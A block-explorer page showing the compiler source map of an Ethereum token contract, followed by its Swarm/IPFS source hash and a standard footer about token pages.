-;12733:12;:53::i;:::-;12709:20;;;12624:162;12687:20;;;12624:162;12671:14;;;12624:162;12644:25;;;12624:162;;;12821:44;12625:9;12845:7;12854:10;:8;:10::i;:::-;12821:12;:44::i;:::-;12798:19;;;12797:68;12429:471;;;;;:::o;8293:361::-;8403:4;8379:13;7260:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;7260:27:0;;;;;;;;;;-1:-1:-1;;8486:37:0;;8482:165;;8569:51;8578:7;8587:5;8613:6;8594:16;:25;8569:8;:51::i;1341:173::-;1397:16;1416:6;;-1:-1:-1;;;;;1433:17:0;;;-1:-1:-1;;;;;;1433:17:0;;;;;;1466:40;;1416:6;;;;;;;1466:40;;1397:16;1466:40;1386:128;1341:173;:::o;18413:1210::-;5745:8;:15;;-1:-1:-1;;5745:15:0;;;;;18568:13:::1;::::0;::::1;::::0;18551:14:::1;::::0;::::1;::::0;18534::::1;::::0;::::1;::::0;5745:15;;18568:13;18534:31:::1;::::0;::::1;:::i;:::-;:47;;;;:::i;:::-;18533:53;::::0;18585:1:::1;18533:53;:::i;:::-;18511:75;;18597:32;18667:11;18650:4;:14;;;18632:15;:32;;;;:::i;:::-;:46;;;;:::i;:::-;18597:81:::0;-1:-1:-1;18689:14:0::1;18706:42;18597:81:::0;18706:15;:42:::1;:::i;:::-;18833:15;::::0;18689:59;;-1:-1:-1;18786:21:0::1;::::0;18823:26:::1;::::0;-1:-1:-1;;;;;18833:15:0::1;18823:9;:26::i;:::-;18809:11;:40:::0;18862:24:::1;18879:6:::0;18862:16:::1;:24::i;:::-;18897:20;18920:38;18944:14:::0;18920:21:::1;:38;:::i;:::-;18897:61;;18969:19;19020:4;:14;;;19006:11;:28;;;;:::i;:::-;18990:45;::::0;:12;:45:::1;:::i;:::-;18969:66;;19046:29;19092:4;:14;;;19078:11;:28;;;;:::i;:::-;19046:60:::0;-1:-1:-1;19122:25:0;;19119:158:::1;;19204:61;19217:24;19243:21;19204:12;:61::i;:::-;19330:14;::::0;::::1;::::0;19289:20:::1;::::0;19312:15:::1;:11:::0;19326:1:::1;19312:15;:::i;:::-;:32;;;;:::i;:::-;19289:55:::0;-1:-1:-1;19358:16:0;;19355:95:::1;;19398:15;::::0;19390:48:::1;::::0;-1:-1:-1;;;;;19398:15:0::1;19425:12:::0;19390:34:::1;:48::i;:::-;19500:13;::::0;::::1;::::0;19460:19:::1;::::0;19482:15:::1;:11:::0;19496:1:::1;19482:15;:::i;:::-;:31;;;;:::i;:::-;19460:53:::0;-1:-1:-1;19527:15:0;;19524:92:::1;;19566:14;::::0;19558:46:::1;::::0;-1:-1:-1;;;;;19566:14:0::1;19592:11:::0;19558:33:::1;:46::i;:::-;-1:-1:-1::0;;5783:8:0;:16;;-1:-1:-1;;5783:16:0;;;-1:-1:-1;;;;;;;;;18413:1210:0:o;17270:1135::-;17394:28;17425:36;17436:7;17445;17454:6;17425:10;:36::i;:::-;-1:-1:-1;;;;;17478:19:0;;;;;;:11;:19;;;;;;17394:67;;-1:-1:-1;17478:19:0;;17474:115;;;-1:-1:-1;;;;;17554:15:0;;;;;;:7;:15;;;;;;:23;;17570:7;;17554:23;:::i;:::-;-1:-1:-1;;;;;17536:15:0;;;;;;:7;:15;;;;;:41;17474:115;-1:-1:-1;;;;;17603:22:0;;;;;;:11;:22;;;;;;;;17599:130;;;17700:17;;;;-1:-1:-1;;;;;17681:18:0;;;;;;:7;:18;;;;;;:36;;17700:17;17681:36;:::i;:::-;-1:-1:-1;;;;;17660:18:0;;;;;;:7;:18;;;;;:57;17599:130;17775:9;;-1:-1:-1;;;;;17759:15:0;;17775:9;17759:15;;;:7;:15;;;;;;:25;;17775:9;17759:25;:::i;:::-;-1:-1:-1;;;;;17741:15:0;;;;;;;:7;:15;;;;;;;;:43;;;;17835:17;;;17816:18;;;;;;;;;;:36;;17835:17;17816:36;:::i;:::-;-1:-1:-1;;;;;17795:18:0;;;;;;:7;:18;;;;;;;:57;;;;17876:6;;;:10;;;:24;;;17899:1;17890;:6;;;:10;17876:24;17873:56;;;17902:27;17914:1;:6;;;17922:1;:6;;;17902:11;:27::i;:::-;17958:1;17943;:12;;;:16;:36;;;;17978:1;17963;:12;;;:16;17943:36;17940:203;;;17996:41;18011:1;:12;;;18024:1;:12;;;17996:14;:41::i;:::-;18082:4;-1:-1:-1;;;;;18057:74:0;18066:6;-1:-1:-1;;;;;18057:74:0;;18119:1;:11;;;18104:1;:12;;;18089:1;:12;;;:27;;;;:::i;:::-;:41;;;;:::i;:::-;18057:74;;1822:25:1;;;1810:2;1795:18;18057:74:0;;;;;;;17940:203;18171:1;18156;:12;;;:16;:36;;;;18191:1;18176;:12;;;:16;18156:36;18153:83;;;18194:42;18209:1;:12;;;18223:1;:12;;;18194:14;:42::i;:::-;18264:1;18250;:11;;;:15;:34;;;;18283:1;18269;:11;;;:15;18250:34;18247:78;;;18286:39;18300:1;:11;;;18313:1;:11;;;18286:13;:39::i;:::-;18358:9;-1:-1:-1;;;;;18341:46:0;18350:6;-1:-1:-1;;;;;18341:46:0;;18369:1;:17;;;18341:46;;;;1822:25:1;;1810:2;1795:18;;1676:177;18341:46:0;;;;;;;;17381:1024;17270:1135;;;;;:::o;14514:540::-;14564:7;14573;14593:15;14611:7;;14593:25;;14629:15;4076:1;4188:2;:13;;;;:::i;:::-;4170:31;;:15;:31;:::i;:::-;14629:25;;14670:9;14665:279;14689:9;:16;14685:20;;14665:279;;;14755:7;14731;:21;14739:9;14749:1;14739:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14739:12:0;14731:21;;;;;;;;;;;;;:31;;:66;;;14790:7;14766;:21;14774:9;14784:1;14774:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14774:12:0;14766:21;;;;;;;;;;;;;:31;14731:66;14727:97;;;14807:7;;4076:1;4188:2;:13;;;;:::i;:::-;4170:31;;:15;:31;:::i;:::-;14799:25;;;;;;;14514:540;;:::o;14727:97::-;14857:7;:21;14865:9;14875:1;14865:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14865:12:0;14857:21;;;;;;;;;;;;;14849:29;;:7;:29;:::i;:::-;14839:39;;14911:7;:21;14919:9;14929:1;14919:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14919:12:0;14911:21;;;;;;;;;;;;;14903:29;;:7;:29;:::i;:::-;14893:39;-1:-1:-1;14707:3:0;;;;:::i;:::-;;;;14665:279;;;-1:-1:-1;4188:13:0;4076:1;4188:2;:13;:::i;:::-;4170:31;;:15;:31;:::i;:::-;14968:7;;:15;;;;:::i;:::-;14958:7;:25;14954:56;;;14993:7;;4076:1;4188:2;:13;;;;:::i;:::-;4170:31;;:15;:31;:::i;:::-;14985:25;;;;;;14514:540;;:::o;14954:56::-;15029:7;;15038;;-1:-1:-1;14514:540:0;-1:-1:-1;14514:540:0:o;12908:623::-;12995:28;;:::i;:::-;13042:7;13038:86;;13064:17;;;:27;;;13104:8;;13038:86;13134:17;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13134:17:0;13165:6;13162:55;;;-1:-1:-1;13173:16:0;;;;;;;;13180:9;13173:16;;;;;;;;;;;;;;;;;;;;;;;;13162:55;;;-1:-1:-1;13205:12:0;;;;;;;;13212:5;13205:12;;;;;;;;;;;;;;;;;;;;;;;;13162:55;13255:8;;13264:3;;13247:16;;:7;:16;:::i;:::-;:20;;;;:::i;:::-;13238:6;;;:29;13301:14;;;;13316:3;;13293:22;;:7;:22;:::i;:::-;:26;;;;:::i;:::-;13278:12;;;:41;13353:14;;;;13368:3;;13345:22;;:7;:22;:::i;:::-;:26;;;;:::i;:::-;13330:12;;;:41;13404:13;;;;13418:3;;13396:21;;:7;:21;:::i;:::-;:25;;;;:::i;:::-;13382:11;;;:39;;;13480:12;;;;13467;;;;13460:6;;;;13452:14;;:7;:14;:::i;:::-;:27;;;;:::i;:::-;:40;;;;:::i;:::-;:52;;;;:::i;:::-;13432:17;;;:72;-1:-1:-1;12908:623:0;;;;;:::o;13539:683::-;13665:15;;;;;13780:19;13788:11;13780:7;:19;:::i;:::-;13770:29;;13816:7;13812:69;;-1:-1:-1;13845:7:0;;-1:-1:-1;13863:1:0;;-1:-1:-1;13863:1:0;;-1:-1:-1;13863:1:0;13838:31;;13812:69;13907:11;13900:1;:6;;;:18;;;;:::i;:::-;13893:25;;13955:11;13942:1;:12;;;:24;;;;:::i;:::-;13929:37;;14003:11;13990:1;:12;;;:24;;;;:::i;:::-;13977:37;;14025:17;14057:11;14045:1;:11;;;:23;;;;:::i;:::-;14025:43;-1:-1:-1;14025:43:0;14122:10;14111;14098:12;14106:4;14098:7;:12;:::i;:::-;:23;;;;:::i;:::-;:34;;;;:::i;:::-;:44;;;;:::i;:::-;14079:63;;14153:61;13539:683;;;;;;;;;;:::o;14234:272::-;14343:17;14379:7;14375:47;;-1:-1:-1;14408:1:0;14401:9;;14375:47;14458:11;14446:1;:11;;;:23;;;;:::i;:::-;14434:35;14234:272;-1:-1:-1;;;;14234:272:0:o;20176:605::-;20326:16;;;20340:1;20326:16;;;;;;;;20302:21;;20326:16;;;;;;;;;;-1:-1:-1;20326:16:0;20302:40;;20371:4;20353;20358:1;20353:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20353:23:0;;;-1:-1:-1;;;;;20353:23:0;;;;;20397:6;;;;;;;;;-1:-1:-1;;;;;20397:6:0;-1:-1:-1;;;;;20397:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20387:4;20392:1;20387:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20387:23:0;;;:7;;;;;;;;;:23;20455:6;;20423:53;;20440:4;;20455:6;;;;20464:11;20423:8;:53::i;:::-;20500:18;;20486:11;;:32;20478:41;;;;;;20558:6;;;:215;;-1:-1:-1;;;20558:215:0;;:6;;;;-1:-1:-1;;;;;20558:6:0;;:57;;:215;;20630:11;;20656:1;;20700:4;;20727;;20747:15;;20558:215;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19631:495;19811:6;;19779:53;;19796:4;;19811:6;;;-1:-1:-1;;;;;19811:6:0;19820:11;19779:8;:53::i;:::-;19875:6;;-1:-1:-1;;;;;19875:6:0;;;;;:22;19905:9;19938:4;19958:11;19984:1;;20070:7;862;889:6;-1:-1:-1;;;;;889:6:0;;816:87;20070:7;20092:15;19875:243;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;19631:495;;:::o;3007:317::-;3122:6;3097:21;:31;;3089:73;;;;-1:-1:-1;;;3089:73:0;;17634:2:1;3089:73:0;;;17616:21:1;17673:2;17653:18;;;17646:30;17712:31;17692:18;;;17685:59;17761:18;;3089:73:0;17432:353:1;3089:73:0;3176:12;3194:9;-1:-1:-1;;;;;3194:14:0;3216:6;3194:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3175:52;;;3246:7;3238:78;;;;-1:-1:-1;;;3238:78:0;;18202:2:1;3238:78:0;;;18184:21:1;18241:2;18221:18;;;18214:30;18280:34;18260:18;;;18253:62;18351:28;18331:18;;;18324:56;18397:19;;3238:78:0;18000:422:1;10876:123:0;10954:4;10944:7;;:14;;;;;;;:::i;:::-;;;;-1:-1:-1;;10969:11:0;:22;;10987:4;;10969:11;:15;;:22;;10987:4;;10969:22;:::i;:::-;;;;-1:-1:-1;;;;10876:123:0:o;11552:284::-;11659:10;11635:11;:21;;;:34;;;;;;;:::i;:::-;;;;-1:-1:-1;;11705:4:0;11685:26;;;;:11;:26;;;;;;;;11682:101;;;11753:4;11737:22;;;;:7;:22;;;;;:34;;11761:10;;11737:22;:34;;11761:10;;11737:34;:::i;:::-;;;;-1:-1:-1;;11682:101:0;11809:4;11793:22;;;;:7;:22;;;;;:35;;11818:10;;11793:22;:35;;11818:10;;11793:35;:::i;11844:284::-;11951:10;11927:11;:21;;;:34;;;;;;;:::i;12140:277::-;12243:9;12220:11;:20;;;:32;;;;;;;:::i;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:456::-;1292:6;1300;1308;1361:2;1349:9;1340:7;1336:23;1332:32;1329:52;;;1377:1;1374;1367:12;1329:52;1416:9;1403:23;1435:31;1460:5;1435:31;:::i;:::-;1485:5;-1:-1:-1;1542:2:1;1527:18;;1514:32;1555:33;1514:32;1555:33;:::i;:::-;1215:456;;1607:7;;-1:-1:-1;;;1661:2:1;1646:18;;;;1633:32;;1215:456::o;1858:180::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;-1:-1:-1;2009:23:1;;1858:180;-1:-1:-1;1858:180:1:o;2232:118::-;2318:5;2311:13;2304:21;2297:5;2294:32;2284:60;;2340:1;2337;2330:12;2355:309;2420:6;2428;2481:2;2469:9;2460:7;2456:23;2452:32;2449:52;;;2497:1;2494;2487:12;2449:52;2533:9;2520:23;2510:33;;2593:2;2582:9;2578:18;2565:32;2606:28;2628:5;2606:28;:::i;:::-;2653:5;2643:15;;;2355:309;;;;;:::o;2669:247::-;2728:6;2781:2;2769:9;2760:7;2756:23;2752:32;2749:52;;;2797:1;2794;2787:12;2749:52;2836:9;2823:23;2855:31;2880:5;2855:31;:::i;3525:388::-;3593:6;3601;3654:2;3642:9;3633:7;3629:23;3625:32;3622:52;;;3670:1;3667;3660:12;3622:52;3709:9;3696:23;3728:31;3753:5;3728:31;:::i;:::-;3778:5;-1:-1:-1;3835:2:1;3820:18;;3807:32;3848:33;3807:32;3848:33;:::i;4141:347::-;4343:2;4325:21;;;4382:2;4362:18;;;4355:30;4421:25;4416:2;4401:18;;4394:53;4479:2;4464:18;;4141:347::o;4493:356::-;4695:2;4677:21;;;4714:18;;;4707:30;4773:34;4768:2;4753:18;;4746:62;4840:2;4825:18;;4493:356::o;5133:245::-;5200:6;5253:2;5241:9;5232:7;5228:23;5224:32;5221:52;;;5269:1;5266;5259:12;5221:52;5301:9;5295:16;5320:28;5342:5;5320:28;:::i;5383:127::-;5444:10;5439:3;5435:20;5432:1;5425:31;5475:4;5472:1;5465:15;5499:4;5496:1;5489:15;5515:422;5604:1;5647:5;5604:1;5661:270;5682:7;5672:8;5669:21;5661:270;;;5741:4;5737:1;5733:6;5729:17;5723:4;5720:27;5717:53;;;5750:18;;:::i;:::-;5800:7;5790:8;5786:22;5783:55;;;5820:16;;;;5783:55;5899:22;;;;5859:15;;;;5661:270;;;5665:3;5515:422;;;;;:::o;5942:806::-;5991:5;6021:8;6011:80;;-1:-1:-1;6062:1:1;6076:5;;6011:80;6110:4;6100:76;;-1:-1:-1;6147:1:1;6161:5;;6100:76;6192:4;6210:1;6205:59;;;;6278:1;6273:130;;;;6185:218;;6205:59;6235:1;6226:10;;6249:5;;;6273:130;6310:3;6300:8;6297:17;6294:43;;;6317:18;;:::i;:::-;-1:-1:-1;;6373:1:1;6359:16;;6388:5;;6185:218;;6487:2;6477:8;6474:16;6468:3;6462:4;6459:13;6455:36;6449:2;6439:8;6436:16;6431:2;6425:4;6422:12;6418:35;6415:77;6412:159;;;-1:-1:-1;6524:19:1;;;6556:5;;6412:159;6603:34;6628:8;6622:4;6603:34;:::i;:::-;6673:6;6669:1;6665:6;6661:19;6652:7;6649:32;6646:58;;;6684:18;;:::i;:::-;6722:20;;5942:806;-1:-1:-1;;;5942:806:1:o;6753:140::-;6811:5;6840:47;6881:4;6871:8;6867:19;6861:4;6840:47;:::i;6898:168::-;6971:9;;;7002;;7019:15;;;7013:22;;6999:37;6989:71;;7040:18;;:::i;7480:128::-;7547:9;;;7568:11;;;7565:37;;;7582:18;;:::i;8024:217::-;8064:1;8090;8080:132;;8134:10;8129:3;8125:20;8122:1;8115:31;8169:4;8166:1;8159:15;8197:4;8194:1;8187:15;8080:132;-1:-1:-1;8226:9:1;;8024:217::o;8246:125::-;8311:9;;;8332:10;;;8329:36;;;8345:18;;:::i;9116:251::-;9186:6;9239:2;9227:9;9218:7;9214:23;9210:32;9207:52;;;9255:1;9252;9245:12;9207:52;9287:9;9281:16;9306:31;9331:5;9306:31;:::i;9681:607::-;-1:-1:-1;;;;;10040:15:1;;;10022:34;;10087:2;10072:18;;10065:34;;;;10130:2;10115:18;;10108:34;;;;10173:2;10158:18;;10151:34;;;;10222:15;;;10216:3;10201:19;;10194:44;10002:3;10254:19;;10247:35;;;;9971:3;9956:19;;9681:607::o;10293:306::-;10381:6;10389;10397;10450:2;10438:9;10429:7;10425:23;10421:32;10418:52;;;10466:1;10463;10456:12;10418:52;10495:9;10489:16;10479:26;;10545:2;10534:9;10530:18;10524:25;10514:35;;10589:2;10578:9;10574:18;10568:25;10558:35;;10293:306;;;;;:::o;16043:127::-;16104:10;16099:3;16095:20;16092:1;16085:31;16135:4;16132:1;16125:15;16159:4;16156:1;16149:15;16175:135;16214:3;16235:17;;;16232:43;;16255:18;;:::i;:::-;-1:-1:-1;16302:1:1;16291:13;;16175:135::o;16447:980::-;16709:4;16757:3;16746:9;16742:19;16788:6;16777:9;16770:25;16814:2;16852:6;16847:2;16836:9;16832:18;16825:34;16895:3;16890:2;16879:9;16875:18;16868:31;16919:6;16954;16948:13;16985:6;16977;16970:22;17023:3;17012:9;17008:19;17001:26;;17062:2;17054:6;17050:15;17036:29;;17083:1;17093:195;17107:6;17104:1;17101:13;17093:195;;;17172:13;;-1:-1:-1;;;;;17168:39:1;17156:52;;17263:15;;;;17228:12;;;;17204:1;17122:9;17093:195;;;-1:-1:-1;;;;;;;17344:32:1;;;;17339:2;17324:18;;17317:60;-1:-1:-1;;;17408:3:1;17393:19;17386:35;17305:3;16447:980;-1:-1:-1;;;16447:980:1:o

Swarm Source

ipfs://dda56d00eefd310e7864930bc34a3e6ec6bb34502523fcc04fe449a205e53185
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.